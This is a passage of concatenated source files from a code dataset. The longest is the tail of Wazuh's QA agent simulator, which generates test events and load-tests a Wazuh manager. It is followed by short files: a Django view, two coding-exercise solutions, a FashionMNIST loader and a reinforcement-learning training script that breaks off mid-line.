according to `event_type` attribute.\n        Returns:\n            str: an IntegrityFIM formatted message\n        \"\"\"\n        if event_type is not None:\n            self.event_type = event_type\n        else:\n            self.event_type = choice([\"integrity_check_global\", \"integrity_check_left\", \"integrity_check_right\",\n                                      \"integrity_clear\", \"state\"])\n\n        return self.generate_message()\n\n\nclass GeneratorHostinfo:\n    \"\"\"This class allows the generation of hostinfo events.\n    Creates hostinfo events, randomizing an open port detection template event on a host.\n    It randomizes the host, as well as the ports and their protocol. The number of open ports of the event is a\n    random number from 1 to 10. Example of hostinfo message:\n        3:/var/log/nmap.log:Host: 95.211.24.108 (), open ports: 43270 (udp) 37146 (tcp) 19885 (tcp)\n    \"\"\"\n    def __init__(self):\n        self.hostinfo_mq = 3\n        self.hostinfo_basic_template = 'Host: <random_ip> (), open ports: '\n        self.protocols_list = ['udp', 'tcp']\n        self.localfile = '/var/log/nmap.log'\n\n    def generate_event(self):\n        \"\"\"\"Generates an arbitrary hostinfo message\n        Returns:\n            str: an hostinfo formatted message\n        \"\"\"\n        number_open_ports = randint(1, 10)\n        host_ip = get_random_ip()\n        message_open_port_list = ''\n        for _ in range(number_open_ports):\n            message_open_port_list += fr\"{randint(1,65535)} ({choice(self.protocols_list)}) \"\n\n        message = self.hostinfo_basic_template.replace('<random_ip>', host_ip)\n        message += message_open_port_list\n        message = fr\"{self.hostinfo_mq}:{self.localfile}:{message}\"\n\n        return message\n\n\nclass GeneratorWinevt:\n    \"\"\"This class allows the generation of winevt events.\n    Create events of the different winevt channels: System, Security, Application, Windows-Defender and Sysmon.\n    It uses template events (`data/winevt.py`) for which the `EventID` field is randomized. Message structure:\n        f:EventChannel:{\"Message\":\"<EVENTCHANNEL_MESSAGE>\",\"Event\":\"<EVENT_CHANNEL_EVENT_XML>\"}\n    Args:\n        agent_name (str): Name of the agent.\n        agent_id (str): ID of the agent.\n    \"\"\"\n    def __init__(self, agent_name, agent_id):\n        self.agent_name = agent_name\n        self.agent_id = agent_id\n        self.winevent_mq = 'f'\n        self.winevent_tag = 'Eventchannel'\n        self.winevent_sources = {\n            'system': winevt.WINEVT_SYSTEM,\n            'security': winevt.WINEVT_SECURITY,\n            'windows-defender': winevt.WINEVT_WINDOWS_DEFENDER,\n            'application': winevt.WINEVT_APPLICATION,\n            'sysmon': winevt.WINEVT_SYSMON\n        }\n\n        self.current_event_key = None\n        self.next_event_key = cycle(self.winevent_sources.keys())\n\n    def generate_event(self, winevt_type=None):\n        \"\"\"Generate Windows event.\n        Generate the desired type of Windows event (winevt). If no type of winvt message is provided,\n        all winvt message types will be generated sequentially.\n        Args:\n            winevt_type (str): Winevt type message `system, security, application, windows-defender, sysmon`.\n        Returns:\n            str: an windows event generated message.\n        \"\"\"\n        self.current_event_key = next(self.next_event_key)\n\n        eventchannel_raw_message = self.winevent_sources[self.current_event_key]\n        eventchannel_raw_message = eventchannel_raw_message.replace(\"<random_int>\", str(randint(0, 10*5)))\n\n        winevent_msg = f\"{self.winevent_mq}:{self.winevent_tag}:{eventchannel_raw_message}\"\n\n        return winevent_msg\n\n\nclass GeneratorFIM:\n    \"\"\"This class allows the generation of FIM events.\n    Args:\n        agent_id (str): The id of the agent.\n        agent_name (str): The name of the agent.\n        agent_version (str): The version of the agent.\n    \"\"\"\n    def __init__(self, agent_id, agent_name, agent_version):\n        self.agent_id = agent_id\n        self.agent_name = agent_name\n        self.agent_version = agent_version\n        self.file_root = '/root/'\n        self._file = self.file_root + 'a'\n        self._size = 0\n        self._mode = S_IFREG | S_IRWXU\n        self._uid = 0\n        self._gid = 0\n        self._md5 = 'xxx'\n        self._sha1 = 'xxx'\n        self._sha256 = 'xxx'\n        self._uname = 'root'\n        self._gname = 'root'\n        self._mdate = int(mktime(localtime()))\n        self._permissions = \"rw-r--r--\"\n        self._inode = 0\n        self._checksum = \"f65b9f66c5ef257a7566b98e862732640d502b6f\"\n        self.syscheck_tag = 'syscheck'\n        self.syscheck_mq = 8\n        self.default_file_length = 10\n        self.max_size = 1024\n        self.users = {0: 'root', 1000: 'Dave', 1001: 'Connie'}\n        self.max_timediff = 3600\n        self.max_inode = 1024\n        self.baseline_completed = 0\n        self.event_mode = None\n        self.event_type = None\n\n    def random_file(self):\n        \"\"\"Initialize file attribute.\n        Returns:\n            str: the new randomized file for the instance\n        \"\"\"\n        self._file = self.file_root + ''.join(sample(ascii_letters + digits, self.default_file_length))\n        return self._file\n\n    def random_size(self):\n        \"\"\"Initialize file size with random value\n        Returns:\n            str: the new randomized file size for the instance\n        \"\"\"\n        self._size = randint(-1, self.max_size)\n        return self._size\n\n    def random_mode(self):\n        \"\"\"Initialize module attribute with `S_IFREG` or `S_IFLNK`\n        Returns:\n            self._mode: the new randomized file mode for the instance\n        \"\"\"\n        self._mode = choice((S_IFREG, S_IFLNK))\n\n        if self._mode == S_IFLNK:\n            self._mode |= S_IRWXU | S_IRWXG | S_IRWXO\n            self._md5 = 'xxx'\n            self._sha1 = 'xxx'\n        else:\n            s = sample((S_IRWXU, S_IRWXG, S_IRWXO), 2)\n            self._mode |= s[0] | s[1]\n\n        return self._mode\n\n    def random_uid(self):\n        \"\"\"Initialize uid attribute with random value.\n        Returns:\n            str: the new randomized file uid for the instance\n        \"\"\"\n        self._uid = choice(list(self.users.keys()))\n        self._uname = self.users[self._uid]\n        return self._uid, self._uname\n\n    def random_gid(self):\n        \"\"\"Initialize gid attribute with random value.\n        Returns:\n            str: the new randomized gid for the instance,\n            str: the new randomized gname for the instance.\n        \"\"\"\n        self._gid = choice(list(self.users.keys()))\n        self._gname = self.users[self._gid]\n        return self._gid, self._gname\n\n    def random_md5(self):\n        \"\"\"Initialize md5 attribute with random value.\n        Returns:\n            str: the new randomized md5 for the instance.\n        \"\"\"\n        if self._mode & S_IFREG == S_IFREG:\n            self._md5 = ''.join(sample('0123456789abcdef' * 2, 32))\n\n        return self._md5\n\n    def random_sha1(self):\n        \"\"\"Initialize sha1 attribute with random value.\n        Returns:\n            str: the new randomized sha1 for the instance.\n        \"\"\"\n        if self._mode & S_IFREG == S_IFREG:\n            self._sha1 = ''.join(sample('0123456789abcdef' * 3, 40))\n\n        return self._sha1\n\n    def random_sha256(self):\n        \"\"\"Initialize sha256 attribute with random value.\n        Returns:\n            str: the new randomized sha256 for the instance.\n        \"\"\"\n        if self._mode & S_IFREG == S_IFREG:\n            self._sha256 = ''.join(sample('0123456789abcdef' * 4, 64))\n\n        return self._sha256\n\n    def random_time(self):\n        \"\"\"Initialize time attribute with random value.\n         Returns:\n            str: the new randomized mdate for the instance.\n        \"\"\"\n        self._mdate += randint(1, self.max_timediff)\n        return self._mdate\n\n    def random_inode(self):\n        \"\"\"Initialize inode attribute with random value.\n        Returns:\n            str: the new randomized inode for the instance.\n        \"\"\"\n        self._inode = randint(1, self.max_inode)\n        return self._inode\n\n    def generate_attributes(self):\n        \"\"\"Initialize GeneratorFIM attributes\"\"\"\n        self.random_file()\n        self.random_size()\n        self.random_mode()\n        self.random_uid()\n        self.random_gid()\n        self.random_md5()\n        self.random_sha1()\n        self.random_sha256()\n        self.random_time()\n        self.random_inode()\n        self._checksum = self.random_sha1()\n\n    def check_changed_attributes(self, attributes, old_attributes):\n        \"\"\"Returns attributes that have changed. \"\"\"\n        changed_attributes = []\n        if attributes[\"size\"] != old_attributes[\"size\"]:\n            changed_attributes.append(\"size\")\n        if attributes[\"perm\"] != old_attributes[\"perm\"]:\n            changed_attributes.append(\"permission\")\n        if attributes[\"uid\"] != old_attributes[\"uid\"]:\n            changed_attributes.append(\"uid\")\n        if attributes[\"gid\"] != old_attributes[\"gid\"]:\n            changed_attributes.append(\"gid\")\n        if attributes[\"user_name\"] != old_attributes[\"user_name\"]:\n            changed_attributes.append(\"user_name\")\n        if attributes[\"group_name\"] != old_attributes[\"group_name\"]:\n            changed_attributes.append(\"group_name\")\n        if attributes[\"inode\"] != old_attributes[\"inode\"]:\n            changed_attributes.append(\"inode\")\n        if attributes[\"mtime\"] != old_attributes[\"mtime\"]:\n            changed_attributes.append(\"mtime\")\n        if attributes[\"hash_md5\"] != old_attributes[\"hash_md5\"]:\n            changed_attributes.append(\"md5\")\n        if attributes[\"hash_sha1\"] != old_attributes[\"hash_sha1\"]:\n            changed_attributes.append(\"sha1\")\n        if attributes[\"hash_sha256\"] != old_attributes[\"hash_sha256\"]:\n            changed_attributes.append(\"sha256\")\n\n        return changed_attributes\n\n    def get_attributes(self):\n        \"\"\"Return GeneratorFIM attributes.\n        Returns:\n            dict: instance attributes.\n        \"\"\"\n        attributes = {\n            \"type\": \"file\", \"size\": self._size,\n            \"perm\": self._permissions, \"uid\": str(self._uid),\n            \"gid\": str(self._gid), \"user_name\": self._uname,\n            \"group_name\": self._gname, \"inode\": self._inode,\n            \"mtime\": self._mdate, \"hash_md5\": self._md5,\n            \"hash_sha1\": self._sha1, \"hash_sha256\": self._sha256,\n            \"checksum\": self._checksum\n        }\n        return attributes\n\n    def format_message(self, message):\n        \"\"\"Format FIM message.\n        Args:\n            message (str): FIM message.\n        Returns:\n            str: generated message with the required FIM header.\n        \"\"\"\n        if self.agent_version >= \"3.12\":\n            formated_message = f\"{self.syscheck_mq}:({self.agent_id}) any->syscheck:{message}\"\n        else:\n            # If first time generating. Send control message to simulate\n            # end of FIM baseline.\n            if self.baseline_completed == 0:\n                self.baseline_completed = 1\n                formated_message = f\"{self.syscheck_mq}:{self.syscheck_tag}:syscheck-db-completed\"\n            else:\n                formated_message = f\"{self.syscheck_mq}:{self.syscheck_tag}:{message}\"\n\n        return formated_message\n\n    def generate_message(self):\n        \"\"\"Generate FIM event based on `event_type` and `agent_version` attribute.\n        Returns:\n            str: generated message with the required FIM header.\n        \"\"\"\n        if self.agent_version >= \"3.12\":\n            if self.event_type == \"added\":\n                timestamp = int(time())\n                self.generate_attributes()\n                attributes = self.get_attributes()\n                data = {\"path\": self._file, \"mode\": self.event_mode,\n                        \"type\": self.event_type, \"timestamp\": timestamp,\n                        \"attributes\": attributes}\n            elif self.event_type == \"modified\":\n                timestamp = int(time())\n                self.generate_attributes()\n                attributes = self.get_attributes()\n                self.generate_attributes()\n                old_attributes = self.get_attributes()\n                changed_attributes = self.check_changed_attributes(attributes, old_attributes)\n                data = {\"path\": self._file, \"mode\": self.event_mode,\n                        \"type\": self.event_type, \"timestamp\": timestamp,\n                        \"attributes\": attributes,\n                        \"old_attributes\": old_attributes,\n                        \"changed_attributes\": changed_attributes}\n            else:\n                timestamp = int(time())\n                self.generate_attributes()\n                attributes = self.get_attributes()\n                data = {\"path\": self._file, \"mode\": self.event_mode,\n                        \"type\": self.event_type, \"timestamp\": timestamp,\n                        \"attributes\": attributes}\n\n            message = json.dumps({\"type\": \"event\", \"data\": data})\n\n        else:\n            self.generate_attributes()\n            message = f'{self._size}:{self._mode}:{self._uid}:{self._gid}:{self._md5}:{self._sha1}:{self._uname}:' \\\n                      f'{self._gname}:{self._mdate}:{self._inode} {self._file}'\n\n        formatted_message = self.format_message(message)\n        return formatted_message\n\n    def get_message(self, event_mode=None, event_type=None):\n        \"\"\"Get FIM message. If no parameters are provided, it is randomly selected among the possible values\n        Args:\n            event_mode (str): Event mode `real-time, whodata, scheduled`.\n            event_type (str): Event type `added, modified, deleted`.\n        Returns:\n            str: generated message.\n        \"\"\"\n        if event_mode is not None:\n            self.event_mode = event_mode\n        else:\n            self.event_mode = choice([\"real-time\", \"whodata\", \"scheduled\"])\n\n        if event_type is not None:\n            self.event_type = event_type\n        else:\n            self.event_type = choice([\"added\", \"modified\", \"deleted\"])\n\n        generated_message = self.generate_message()\n\n        return generated_message\n\n\nclass Sender:\n    \"\"\"This class sends events to the manager through a socket.\n    Attributes:\n        manager_address (str): IP of the manager.\n        manager_port (str, optional): port used by remoted in the manager.\n        protocol (str, optional): protocol used by remoted. TCP or UDP.\n        socket (socket): sock_stream used to connect with remoted.\n    Examples:\n        To create a Sender, you need to create an agent first, and then, create the sender. Finally, to send messages\n        you will need to use both agent and sender to create an injector.\n        >>> import wazuh_testing.tools.agent_simulator as ag\n        >>> manager_address = \"172.17.0.2\"\n        >>> agent = ag.Agent(manager_address, \"aes\", os=\"debian8\", version=\"4.2.0\")\n        >>> sender = ag.Sender(manager_address, protocol=TCP)\n    \"\"\"\n    def __init__(self, manager_address, manager_port='1514', protocol=TCP):\n        self.manager_address = manager_address\n        self.manager_port = manager_port\n        self.protocol = protocol.upper()\n        self.socket = None\n        self.connect()\n\n    def connect(self):\n        if is_tcp(self.protocol):\n            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            self.socket.connect((self.manager_address, int(self.manager_port)))\n        if is_udp(self.protocol):\n            self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n    def reconnect(self, event):\n        if is_tcp(self.protocol):\n            self.socket.shutdown(socket.SHUT_RDWR)\n            self.socket.close()\n            self.connect()\n            if event:\n                self.send_event(event)\n\n    def send_event(self, event):\n        if is_tcp(self.protocol):\n            length = pack('<I', len(event))\n            try:\n                self.socket.send(length + event)\n            except BrokenPipeError:\n                logging.warning(f\"Broken Pipe error while sending event. Creating new socket...\")\n                sleep(5)\n                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                self.socket.connect((self.manager_address, int(self.manager_port)))\n                self.socket.send(length + event)\n            except ConnectionResetError:\n                logging.warning(f\"Connection reset by peer. Continuing...\")\n        if is_udp(self.protocol):\n            self.socket.sendto(event, (self.manager_address, int(self.manager_port)))\n\n\nclass Injector:\n    \"\"\"This class simulates a daemon used to send and receive messages with the manager.\n    Each `Agent` needs an injector and a sender to be able to communicate with the manager. This class will create\n    a thread using `InjectorThread` which will behave similarly to an UNIX daemon. The `InjectorThread` will\n    send and receive the messages using the `Sender`\n    Attributes:\n        sender (Sender): sender used to connect to the sockets and send messages.\n        agent (agent): agent owner of the injector and the sender.\n        thread_number (int): total number of threads created. This may change depending on the modules used in the\n                             agent.\n        threads (list): list containing all the threads created.\n        limit_msg (int): Maximum amount of message to be sent.\n    Examples:\n        To create an Injector, you need to create an agent, a sender and then, create the injector using both of them.\n        >>> import wazuh_testing.tools.agent_simulator as ag\n        >>> manager_address = \"172.17.0.2\"\n        >>> agent = ag.Agent(manager_address, \"aes\", os=\"debian8\", version=\"4.2.0\")\n        >>> sender = ag.Sender(manager_address, protocol=TCP)\n        >>> injector = ag.Injector(sender, agent)\n        >>> injector.run()\n    \"\"\"\n\n    def __init__(self, sender, agent, limit=None):\n        self.sender = sender\n        self.agent = agent\n        self.limit_msg = limit\n        self.thread_number = 0\n        self.threads = []\n        for module, config in self.agent.modules.items():\n            if config[\"status\"] == \"enabled\":\n                self.threads.append(\n                    InjectorThread(self.thread_number, f\"Thread-{self.agent.id}{module}\", self.sender,\n                                   self.agent, module, self.limit_msg))\n                self.thread_number += 1\n\n    def run(self):\n        \"\"\"Start the daemon to send and receive messages for all the threads.\"\"\"\n        for thread in range(self.thread_number):\n            self.threads[thread].daemon = True\n            self.threads[thread].start()\n\n    def stop_receive(self):\n        \"\"\"Stop the daemon for all the threads.\"\"\"\n        for thread in range(self.thread_number):\n            self.threads[thread].stop_rec()\n        sleep(2)\n        if is_tcp(self.sender.protocol):\n            self.sender.socket.shutdown(socket.SHUT_RDWR)\n        self.sender.socket.close()\n\n    def wait(self):\n        for thread in range(self.thread_number):\n            self.threads[thread].join()\n\n\nclass InjectorThread(threading.Thread):\n    \"\"\"This class creates a thread who will create and send the events to the manager for each module.\n    Attributes:\n        thread_id (int): ID of the thread.\n        name (str): name of the thread. It is composed as Thread-{agent.id}{module}.\n        sender (Sender): sender used to connect to the sockets and send messages.\n        agent (Agent): agent owner of the injector and the sender.\n        module (str): module used to send events (fim, syscollector, etc).\n        stop_thread (int): 0 if the thread is running, 1 if it is stopped.\n        limit_msg (int): Maximum amount of message to be sent.\n    \"\"\"\n    def __init__(self, thread_id, name, sender, agent, module, limit_msg=None):\n        super(InjectorThread, self).__init__()\n        self.thread_id = thread_id\n        self.name = name\n        self.sender = sender\n        self.agent = agent\n        self.totalMessages = 0\n        self.module = module\n        self.stop_thread = 0\n        self.limit_msg = limit_msg\n\n    def keep_alive(self):\n        \"\"\"Send a keep alive message from the agent to the manager.\"\"\"\n        sleep(10)\n        logging.debug(\"Startup - {}({})\".format(self.agent.name, self.agent.id))\n        self.sender.send_event(self.agent.startup_msg)\n        self.sender.send_event(self.agent.keep_alive_event)\n        start_time = time()\n        frequency = self.agent.modules[\"keepalive\"][\"frequency\"]\n        eps = 1\n        if 'eps' in self.agent.modules[\"keepalive\"]:\n            frequency = 0\n            eps = self.agent.modules[\"keepalive\"][\"eps\"]\n        while self.stop_thread == 0:\n            # Send agent keep alive\n            logging.debug(f\"KeepAlive - {self.agent.name}({self.agent.id})\")\n            self.sender.send_event(self.agent.keep_alive_event)\n            self.totalMessages += 1\n            if frequency > 0:\n                sleep(frequency - ((time() - start_time) % frequency))\n            else:\n                logging.debug('Merged checksum modified to force manager overload')\n                new_checksum = str(getrandbits(128))\n                self.agent.update_checksum(new_checksum)\n                if self.totalMessages % eps == 0:\n                    sleep(1.0 - ((time() - start_time) % 1.0))\n\n    def run_module(self, module):\n        \"\"\"Send a module message from the agent to the manager.\n         Args:\n                module (str): Module name\n        \"\"\"\n        module_info = self.agent.modules[module]\n        eps = module_info['eps'] if 'eps' in module_info else 1\n        frequency = module_info[\"frequency\"] if 'frequency' in module_info else 1\n\n        sleep(10)\n        start_time = time()\n        if frequency > 1:\n            batch_messages = eps * 0.5 * frequency\n        else:\n            batch_messages = eps\n\n        if module == 'hostinfo':\n            self.agent.init_hostinfo()\n            module_event_generator = self.agent.hostinfo.generate_event\n        elif module == 'rootcheck':\n            self.agent.init_rootcheck()\n            module_event_generator = self.agent.rootcheck.get_message\n            batch_messages = len(self.agent.rootcheck.messages_list) * eps\n        elif module == 'syscollector':\n            self.agent.init_syscollector()\n            module_event_generator = self.agent.syscollector.generate_event\n        elif module == 'fim_integrity':\n            self.agent.init_fim_integrity()\n            module_event_generator = self.agent.fim_integrity.get_message\n        elif module == 'fim':\n            module_event_generator = self.agent.fim.get_message\n        elif module == 'sca':\n            self.agent.init_sca()\n            module_event_generator = self.agent.sca.get_message\n        elif module == 'winevt':\n            self.agent.init_winevt()\n            module_event_generator = self.agent.winevt.generate_event\n        elif module == 'logcollector':\n            self.agent.init_logcollector()\n            module_event_generator = self.agent.logcollector.generate_event\n        else:\n            raise ValueError('Invalid module selected')\n\n        # Loop events\n        while self.stop_thread == 0:\n            sent_messages = 0\n            while sent_messages < batch_messages:\n                event_msg = module_event_generator()\n                if self.agent.fixed_message_size is not None:\n                    event_msg_size = getsizeof(event_msg)\n                    dummy_message_size = self.agent.fixed_message_size - event_msg_size\n                    char_size = getsizeof(event_msg[0]) - getsizeof('')\n                    event_msg += 'A' * (dummy_message_size//char_size)\n\n                # Add message limitiation\n                if self.limit_msg:\n                    if self.totalMessages >= self.limit_msg:\n                        self.stop_thread = 1\n                        break\n\n                event = self.agent.create_event(event_msg)\n                self.sender.send_event(event)\n                self.totalMessages += 1\n                sent_messages += 1\n                if self.totalMessages % eps == 0:\n                    sleep(1.0 - ((time() - start_time) % 1.0))\n\n            if frequency > 1:\n                sleep(frequency - ((time() - start_time) % frequency))\n\n    def run(self):\n        \"\"\"Start the thread that will send messages to the manager.\"\"\"\n        # message = \"1:/var/log/syslog:Jan 29 10:03:41 master sshd[19635]:\n        #   pam_unix(sshd:session): session opened for user vagrant by (uid=0)\n        #   uid: 0\"\n        logging.debug(f\"Starting - {self.agent.name}({self.agent.id})({self.agent.os}) - {self.module}\")\n        if self.module == \"keepalive\":\n            self.keep_alive()\n        elif self.module == \"receive_messages\":\n            self.agent.receive_message(self.sender)\n        else:\n            self.run_module(self.module)\n\n    def stop_rec(self):\n        \"\"\"Stop the thread to avoid sending any more messages.\"\"\"\n        if self.module == \"receive_messages\":\n            self.agent.stop_receiver()\n        else:\n            self.stop_thread = 1\n\n\ndef create_agents(agents_number, manager_address, cypher='aes', fim_eps=100, authd_password=None, agents_os=None,\n                  agents_version=None, disable_all_modules=False):\n    \"\"\"Create a list of generic agents\n    This will create a list with `agents_number` amount of agents. All of them will be registered in the same manager.\n    Args:\n        agents_number (int): total number of agents.\n        manager_address (str): IP address of the manager.\n        cypher (str): cypher used for the communications. It may be aes or blowfish.\n        fim_eps (int, optional): total number of EPS produced by FIM.\n        authd_password (str, optional): password to enroll an agent.\n        agents_os (list, optional): list containing different operative systems for the agents.\n        agents_version (list, optional): list containing different version of the agent.\n        disable_all_modules (boolean): Disable all simulated modules for this agent.\n    Returns:\n        list: list of the new virtual agents.\n    \"\"\"\n    global agent_count\n    # Read client.keys and create virtual agents\n    agents = []\n    for agent in range(agents_number):\n        agent_os = agents_os[agent] if agents_os is not None else None\n        agent_version = agents_version[agent] if agents_version is not None else None\n\n        agents.append(Agent(manager_address, cypher, fim_eps=fim_eps, authd_password=authd_password,\n                            os=agent_os, version=agent_version, disable_all_modules=disable_all_modules))\n\n        agent_count = agent_count + 1\n\n    return agents\n\n\ndef connect(agent,  manager_address='localhost', protocol=TCP, manager_port='1514'):\n    \"\"\"Connects an agent to the manager\n    Args:\n        agent (Agent): agent to connect.\n        manager_address (str): address of the manager. It can be an IP or a DNS.\n        protocol (str): protocol used to connect with the manager. Defaults to 'TCP'.\n        manager_port (str): port used to connect with the manager. Defaults to '1514'.\n    \"\"\"\n    sender = Sender(manager_address, protocol=protocol, manager_port=manager_port)\n    injector = Injector(sender, agent)\n    injector.run()\n    agent.wait_status_active()\n    return sender, injector\n","repo_name":"wazuh/wazuh-qa","sub_path":"deps/wazuh_testing/wazuh_testing/tools/agent_simulator.py","file_name":"agent_simulator.py","file_ext":"py","file_size_in_byte":76339,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"}
+{"seq_id":"7996751612","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\n\nfrom Base.base_group_views import ManagerRequiredView\nfrom Papers.services import PaperInfoService, SpecificationService\n\nfrom ..services import StagingSpecificationService, ReferencePDFService\n\n\nclass TestSpecPageView(ManagerRequiredView):\n    def dispatch(self, request, *args, **kwargs):\n        \"\"\"Redirect to the assessment preparation page if the Papers database is already populated.\"\"\"\n        paper_info = PaperInfoService()\n        if paper_info.is_paper_database_populated():\n            return HttpResponseRedirect(reverse(\"prep_landing\"))\n        return super().dispatch(request, *args, **kwargs)\n\n    def build_context(self, page_name):\n        context = super().build_context()\n        spec = StagingSpecificationService()\n\n        show_alert = False\n        try:\n            the_valid_spec = SpecificationService.get_the_spec()\n            if not spec.compare_spec(the_valid_spec):\n                show_alert = True\n        except ObjectDoesNotExist:\n            # no valid spec - nothing to do yet.\n            pass\n\n        context.update(\n            {\n                \"long_name\": spec.get_long_name(),\n                \"short_name\": spec.get_short_name(),\n                \"slugged_short_name\": spec.get_short_name_slug(),\n                \"curr_page\": page_name,\n                \"questions\": [i for i in range(spec.get_n_questions())],\n                \"completed\": spec.get_progress_dict(),\n                \"show_alert\": show_alert,\n            }\n        )\n\n        return context\n\n\nclass TestSpecPDFView(TestSpecPageView):\n    def build_context(self, page_name):\n        context = super().build_context(page_name)\n        spec = StagingSpecificationService()\n        ref = ReferencePDFService()\n        if ref.is_there_a_reference_pdf():\n            thumbnails = ref.create_page_thumbnail_list()\n            context.update(\n                {\n                    \"thumbnails\": thumbnails,\n                    \"num_pages\": spec.get_n_pages(),\n                }\n            )\n\n        return context\n","repo_name":"plomgrading/plom","sub_path":"plom_server/SpecCreator/views/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"}
+{"seq_id":"5431632254","text":"def solution(ingredient):\n    ans = 0\n    재료 = []\n    \n    for i in ingredient:\n        재료.append(i)\n        if 재료[-4:] == [1, 2, 3, 1]:\n            ans += 1\n            for _ in range(4):\n                재료.pop()\n    return ans\n        \n    ","repo_name":"hanwool77/codingtest","sub_path":"프로그래머스/unrated/133502. 햄버거 만들기/햄버거 만들기.py","file_name":"햄버거 만들기.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70436795254","text":"# Solution for task: https://www.codewars.com/kata/59a2a3ba5eb5d4e609000055/\n\ndef find_array(arr1: list, arr2: list) -> list:\n    \n    new_arr = list()\n    \n    for i in arr2:\n        if i < len(arr1):\n            new_arr.append(arr1[i])\n\n    return new_arr\n","repo_name":"ZaytsevNS/python_codewars","sub_path":"7KYU/find_array.py","file_name":"find_array.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"}
+{"seq_id":"26835187452","text":"import numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nfrom torchvision import datasets\nfrom torchvision.transforms import ToTensor\nimport matplotlib.pyplot as plt\nimport os\n\n# OMP 에러 해결\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\n\n# 데이터 다운로드\n# -> 다운로드 값이 True여도 루트 경로에 파일이 있으면, 다운로드 하지 않는다!\n# -> 따라서 루트값이 바뀌면 계속 다운로드하니, 루트값을 고정하는 것이 중요\ntraining_data = datasets.FashionMNIST(\n    root='data',\n    train=True,\n    download=True,\n    transform=ToTensor()\n)\n\ntest_data = datasets.FashionMNIST(\n    root='data',\n    train=False,\n    download=True,\n    transform=ToTensor()\n)\n\n# 데이터 시각화\n# -> 해당 이미지들은 28x28 이미지이며, 바이너리 파일이어서 한 줄로 쭉 이어져 있다\nimg_size = 28\nnum_images = 5\n\nwith open('./data/FashionMNIST/raw/train-images-idx3-ubyte', 'rb') as f:\n    _ = f.read(16)  # 17바이트부터 이미지 데이터여서 16바이트는 날린다\n    buf = f.read(img_size*img_size*num_images)\n    data = np.frombuffer(buf, dtype=np.uint8).astype(float)\n    data = data.reshape(num_images, img_size, img_size, 1)\n    image = np.asarray(data[1]).squeeze()\n    plt.imshow(image, 'gray')\n    plt.show()\n\nwith open('data/FashionMNIST/raw/train-labels-idx1-ubyte', 'rb') as f:\n    _ = f.read(8)\n    buf = f.read(num_images)\n    labels = np.frombuffer(buf, dtype=np.uint8).astype(np.int64)\n    print(labels[1])    # loss구하려면 라벨이 숫자여야하므로, 라벨은 전부 숫자로 되어있다.\n# plt.title(f'{labels[0]}')\n# plt.show()\n\n# 라벨 목록\nlabels_map = {\n    0: \"T-Shirt\",\n    1: \"Trouser\",\n    2: \"Pullover\",\n    3: \"Dress\",\n    4: \"Coat\",\n    5: \"Sandal\",\n    6: \"Shirt\",\n    7: \"Sneaker\",\n    8: \"Bag\",\n    9: \"Ankle Boot\",\n}\n\nfigure = plt.figure(figsize=(8, 8))\ncols, rows = 3, 3\n\n# for i in range(1, cols*rows+1):\n#     sample_idx = torch.randint(len(training_data), size=(1, )).item()\n#     img, label = training_data[sample_idx]\n#     figure.add_subplot(rows, cols, i)\n#     plt.title(labels_map[label])\n#     plt.axis('off')\n#     plt.imshow(img.squeeze(), cmap='gray')\n# plt.show()\n# exit()","repo_name":"NoirCade/MS-AI-School","sub_path":"48일차/fashion_mnist.py","file_name":"fashion_mnist.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23110314941","text":"import numpy as np\nimport tensorflow as tf\n\n\ndef discount_rewards(rewards, gamma=0.99):\n    \"\"\" take 1D float array of rewards and compute discounted rewards \"\"\"\n    discounted = np.zeros_like(rewards)\n    running_add = 0\n    for t in reversed(range(0, len(rewards))):\n        running_add = running_add * gamma + rewards[t]\n        discounted[t] = running_add\n\n    return discounted\n\n\ndef reset_grad_buffer(grad_buffer):\n    if type(grad_buffer) is not np.ndarray:\n        grad_buffer = np.array(grad_buffer)\n\n    grad_buffer *= 0\n    return grad_buffer\n\n\ndef step_model(model, sess, xs, action):\n    \"\"\"\n    This function uses our model to produce a new state\n    when given a previous state and action.\n    \"\"\"\n    pred = sess.run(model.pred_state, feed_dict={\n        model.prev_state: np.reshape(np.hstack([xs[-1][0], np.array(action)]), [1, 5])\n    })\n    reward = pred[:, 4]\n    obs = pred[:, 0:4]\n    obs[:, 0] = np.clip(obs[:, 0], -2.4, 2.4)\n    obs[:, 2] = np.clip(obs[:, 2], -0.4, 0.4)\n    p_done = np.clip(pred[:, 5], 0, 1)\n    done = (p_done > 0.1 or len(xs) >= 300)\n\n    return obs, reward, done\n\n\ndef train(env, policy, model, model_batch_size, real_batch_size, max_episodes=5000):\n    xs, ys, rs, ds = [], [], [], []\n    running_reward = None\n    reward_sum = 0\n    episode_num = 1\n    real_episodes = 1\n    batch_size = real_batch_size\n\n    draw_from_model = False  # When set to True, will use model for observations\n    train_model = True  # Whether to train the model\n    train_policy = False  # Whether to train the policy\n    switch_point = 1\n\n    p_state = None\n    next_states_all = None\n\n    with tf.Session() as sess:\n        sess.run(tf.global_variables_initializer())\n        rendering = False\n        obs = env.reset()\n        # x = obs\n        grad_buffer = sess.run(policy.tvars)\n        grad_buffer = reset_grad_buffer(grad_buffer)\n\n        while episode_num < max_episodes:\n            # Start displaying environment once performance is acceptably high\n            if rendering or (reward_sum / batch_size > 150 and not draw_from_model):\n                env.render()\n                rendering = True\n\n            x = np.reshape(obs, [1, 4])\n            prob = sess.run(policy.probability, feed_dict={policy.observations: x})\n            action = 1 if np.random.uniform() < prob else 0\n\n            xs.append(x)\n            y = 1 if action == 0 else 0\n            ys.append(y)\n\n            if draw_from_model:\n                obs, reward, done = step_model(model, sess, xs, action)\n            else:\n                obs, reward, done, _ = 